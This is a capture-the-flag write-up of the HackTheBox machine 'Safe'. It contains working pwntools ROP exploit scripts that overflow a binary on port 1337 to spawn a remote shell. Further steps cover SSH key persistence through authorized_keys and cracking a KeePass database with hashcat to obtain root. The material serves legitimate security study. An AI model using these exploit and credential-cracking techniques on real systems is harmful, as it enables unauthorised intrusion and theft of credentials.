safe-banner.png

Safe - WriteUp


External Recon

You know the dance. We start with nmap.

nmap -sV -sC -oN initial -T4 10.10.10.147

22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 6d:7c:81:3d:6a:3d:f9:5f:2e:1f:6a:97:e5:00:ba:de (RSA)
|   256 99:7e:1e:22:76:72:da:3c:c9:61:7d:74:d7:80:33:d2 (ECDSA)
|_  256 6a:6b:c3:8e:4b:28:f7:60:85:b1:62:ff:54:bc:d8:d6 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

As there’s not much to see here I visited the website. Only the Apache2 default page was shown. Maybe we can find more about this by running a script scan.

nmap --script discovery,safe,vuln -oN script -T4 10.10.10.147

In the very long output of this scan we can find this line comment out in the source-code…

'myapp' can be downloaded to analyze from here its running on port 1337

…and when you take a look at the real source code of the website we can confirm it’s there.

safe-comment-myapp

[Top]

Explore

Let’s see if “Port 1337” is indeed open:

nc-port-1337

Looks good. When we enter some values the application will echo them back to us.

Let’s try to download “myapp” from the root of the website.

safe-myapp-download

So, as you might have guessed by now, this smells like a “buffer overflow” challenge. At first I was very excited. An easy rated box with a “bof”? What an opportunity to test myself. Well, the excitement disappeared after running “checksec”.

safe-checksec

First of all it’s a 64Bit binary. Never played with 64Bit “buffer overflows”. Second it has the “NX-Bit” set. Which means the “Stack” is not executable.

In order to overcome this, we need to use a exploitation-technique known as “ROP - Return Oriented Programming”. But, it’s an easy rated box - this can’t be too hard - right?

[Top]

Exploit

I had to try it anyways. I spent at least two days trying to figure out how to write an exploit for this. But other than “fuzzing” the program, finding the “offset” and such things - I was not able to accomplish much.

Then I got a tip. “There’s a tool called “ROPStar”. I tracked it down and from the description it looked like cheating. You give it a binary or an IP-Address and it will auto-exploit it for you. I downloaded the tool and gave it a shot.

But, and that’s very important to note here: I set myself a goal to root the box and use the flag to read one of the Hackplayers writeups and analyze the exploit until I can do it myself.

So - let’s do it the lazy way first.

python ropstar.py ~/HTB/Boxes/Safe/exploit/myapp

This was all to get a local shell on my own system.

python ropstar.py ~/HTB/Boxes/Safe/exploit/myapp -rhost 10.10.10.147 -rport 1337

And this to get a shell to the box.

safe-ropstar-shell

It took no more than 5 seconds. That’s amazing - but not the way I want to solve that box. I can do better than this. After rooting the box and reading the “writeup” I replicated the “exploit”. I sort of understood what was going on. But I was still not satisfied. So I started and solved most of the 32Bit ROPEmporium Challenges which are dedicated to teach ROP techniques.

I came back to “safe” just to fail again. I checked the “copied” exploit - but I couldn’t understand it anymore. I was frustrated. So I sat down again - and analyzed the “exploit” from the “writeup” again. Until I understood it, found my mistake and came to the conclusion that I didn’t like the method presented in the writeup. ;D

I found my own solution. Which I find more intuitive. So here is my solution:

First we need to crash the program to check if it’s vulnerable. I didn’t used a special “fuzzer” for that. I just tried a couple of inputs until I found a crash. I used 300 Bytes to generate the crash in the screenshot.

safe-segfault

Before we can start working on the exploit, we need to find the exact input till we overwrite “RSP”.

I had to use gdb-peda’s pattern_create for this. I don’t know why, but msf-pattern_create produced a pattern that I couldn’t use to find the offset. I suspected bad characters and tried to create a custom patter-set. Didn’t work either. If you know what’s going on here - let me know.

gdb-peda$ pattern_create 300 pattern.txt

Next we start “myapp” with “gdb-peda” and throw our pattern in.

safe-fuzz

If you don’t get a crash you might need to change your “peda.py” file. At the very bottom are a couple of settings. Change it from: peda.execute(“set follow-fork-mode child”) to: peda.execute(“set follow-fork-mode parent”)

Otherwise the application should crash and “RSP” has a value of: jAA9AAOAAkAAPAAlAA. We can use this pattern to find the offset.

gdb-peda$ pattern_offset jAA9AAOAAkAAPAAlAA
jAA9AAOAAkAAPAAlAA found at offset: 120

Let’s start crafting a first proof of concept and see if we can control “RIP”.

#!/usr/bin/python3
from pwn import *

payload = b'A' * 120           # offset to RIP
payload += p64(0x42424242)      # RIP
payload += b'C' * 170           # some more junk, because why not

f = open("payload.txt", "wb")
f.write(payload)

This script needs the “pwntools” library. For now we just use the p64() function as a helper to convert the addresses we will use for our “ROPChain” to “little endian” and also to the propper byte sequence.

Other than that we just fill up the buffer, overwrite “RIP” and write this to a file. Let’s start the application again in “gdb-peda” and redirect the file’s content into it.

safe-poc

Success. “RIP” has been overwritten with an value we control.

safe-poc-ripoverwrite

But what now? Well, as I’ve said, when the “NX-Bit” is set, we can’t jump into the stack to execute our code. But we can still jump around in the existing code. We just need to find some special instructions within the application, chain them together and make the application do things, it was never intended to do.

Let’s get an overview of the functions in the program. “objdump” is right tool for that. The -M intel parameter changes the display settings to “intel” syntax. I find it easier to read.

objdump -M intel -d myapp

Here you can see the main() function of the program.

safe-obj-main

And here’s another interesting function called test().

safe-obj-test

In the function main() we can see that some other functions are being called, system() for example. Our goal is now to call system() and while doing so, provide our own arguments like /bin/sh. In 64-Bit applications, arguments are provided via the “CPU-Registers”. You need to use “rdi” for your first, “rsi” for your second and “rdx” for your third argument. We just want to pass the /bin/sh string, so just one register is needed: “rdi”. The system() call will be stored in one of the general purpose registers. I’ll come back to this in a second. If this is successful, we would get a shell.

So, let’s take some notes: First we need to find some instructions that pop values we put on the stack, into the registers. I used “ropper” for this.

“ropper” will search for special instructions that end with a ret or return instruction. Hence the name “Return Oriented Programming”. After the chain is executed, it will return and will execute the next instruction stored in “RIP”. Which we still control.

ropper -f myapp | grep pop

safe-ropper-pop

Our “grep” already filtered the output for a couple of “pop gadgets”. But which one should we use? Well, we need to jump to the register in with we will store the system() address. So let’s start with finding a jmp and see if the jmp can tell us which “pop gadgets” we should use.

“ropper” found no suitable jmp for my situation. So I went back to “objdump” and found a jmp r13 in the test() function.

safe-jmp-r13

This means we need a pop r13 gadget to store system() and later jmp r13 to call it. In the “ropper” output you can see a pop r13. Note that there are two more pop’s before the ret.

safe-obj-test

You’ll see later why this is important.

We need also a way to put /bin/sh into “rdi”. For this, the gadget mov rdi,rsp would be ideal. We can find such an instruction with “objdump” in the test() function.

safe-mem-system

Last but not least, we need the memory address of system().

safe-mem-system

Let’s check what we’ve got so far.

system()             @ 0x401040
mov rdi, rsp         @ 0x401156
jmp r13              @ 0x401159
pop r13, r14, r15    @ 0x401206

Now we need to put all of them in the right order. First we will send our “120 Bytes” of junk. Then the address of the pop r13 instruction. It will “pop” the first value from the “stack” into “r13”. We want system() to be in “r13”. So the address to system() will be next. After pop r13, two more “pop’s” will take place. We need to place two dummy values on the “stack” to account for that. Now we need to prepare the arguments for the system() call. So the address to mov rdi, rsp will be next, followed by the string /bin/sh\x00.

You might have noticed that the jmp r13 doesn’t need to be put into our “rop-chain” directly. It’s the next instruction after mov rdi, rsp and will be executed after that. How nice. ;)

Let’s put all of this into an exploit script.

#!/usr/bin/python3
from pwn import *

# Stage 0
junk = b'A' * 120 # Overflow
cmd = b'/bin/sh\x00' # Argument

# ROP
pop = p64(0x401206) # pop r13
mov = p64(0x401156) # mov rdi, rsp

# RCE
fake = p64(0x000000) # dummy value for pop r14 and pop r15
system = p64(0x401040) # system address


# Create Payload
payload = junk + pop + system + fake + fake + mov + cmd

f = open("payload.txt", "wb")
f.write(payload)

After running the script we will have our payload in a text file called “payload.txt”. You could try to redirect the contents into the application like so:

./myapp < payload.txt

But you will just get a “segfault”. Why is that? Well, it took me a while to find an answer for that - but here it is. When you hit enter on the above command, the application will start up and get to the point where you can feed it data via “stdin”. The exploit code will be copied into the buffer, will do it’s thing and start up a shell. But, because the “stdin” will be closed now (no more data is in the text file) the shell will close and the function will return and since we corrupted the stack it will segfault. So our task is to keep the shell alive by holding “stdin” open.

The following command will do just that.

(cat payload.txt; cat) | ./myapp

The first “cat payload.txt” will feed the exploit into the application. When the shell is up and running, the second “cat” kicks in. Because we didn’t give it any arguments it will be just an interactive “echo” tool. Try it yourself. Start “cat” without parameters and enter something. Whatever will be entered, “cat” will echo it back. So you feed data in via “stdin” and “cat” will echo it back via “stdout”. The “pipe” will transport that to the application which is now your shell. Elegant right?

safe-mem-system

But, can we use this technique remotely too? Sure we can. We will replace the local application with “nc” and connect to the service that’s running on the “HackTheBox” machine.

safe-mem-system

We are in! :) And we also have access to the user.txt.

safe-mem-system

Between rooting this box and writing this writeup I played a lot with this binary. This is why I also have a “pwntools” version of this exploit. This version doesn’t need the “cat” magic.

#!/usr/bin/python3
from pwn import *

# PwnTools
context(arch = 'amd64', os = 'linux', terminal = ['tmux','splitw', '-h'])
#p = process("./myapp")
#gdb.attach(p, "b *0x401206")
p = remote("10.10.10.147", 1337)

# Stage 0
junk = b'A' * 120 # Overflow
cmd = b'/bin/sh\x00' # RCE

# ROP
pop = p64(0x401206)
jmp = p64(0x401156)

# RCE
fake = p64(0x000000)
system = p64(0x401040)


# Create Payload
payload = junk + pop + system + fake + fake + jmp + cmd

p.sendline(payload)
p.interactive()

[Top]

Internal Recon

Phew. That was quite a trip. But the last part is super easy. In the user folder, next to the user.txt we already see a “keepass-database” and a bunch of files..

If you don’t know keepass: It’s a “password manager”. Keepass, like many other password managers, have a feature where you can enter your password and a keyfile. Which can be anything. A text file. An image. Something that won’t change. And it will be used as a second factor to the password.

Seems logical that we try cracking the “keepass-database” before anything else.

[Top]

Privilege Escalation

To download the files, we first need better access. Let’s deploy a “ssh-key” on the box and login with a real shell.

First we generate a new key and get the public part of it:

safe-mem-system

Then we “echo” it over into the /home/user/.ssh/authorized_keys file.

safe-mem-system

Now we can login but also download all files.

scp -i /root/HTB/Boxes/Safe/id_rsa -r user@10.10.10.147:/home/user/ /root/HTB/Boxes/Safe/Download

Now we need to extract the hash from the database and also provide the images as a second factor.

keepass2john -k $Images

We will use “hashcat” to crack the hashes. “Hashcat” doesn’t need the “MyPassword” string so I removed it and started cracking.

hashcat -m 13400 -a 0 -w 1 hashes.txt /usr/share/wordlists/rockyou.txt --force

In my case the 3rd key was correct and the password is: bullshit.

[Top]

Root Flag

Armed with this “password” we can open the password-safe and get the password for root.

safe-mem-system

If you don’t have keepass installed on your box apt install keepassx will do the trick.

A simple su - get’s us the root flag.

safe-mem-system

Box solved. But most important - I learned a lot of new things! :)

Till next time!

x41

[Top]

Previous Post Next Post Home
x41 avatar
x41
IT-Security consultant by day. InfoSec enthusiast and Dungeon-Master at night.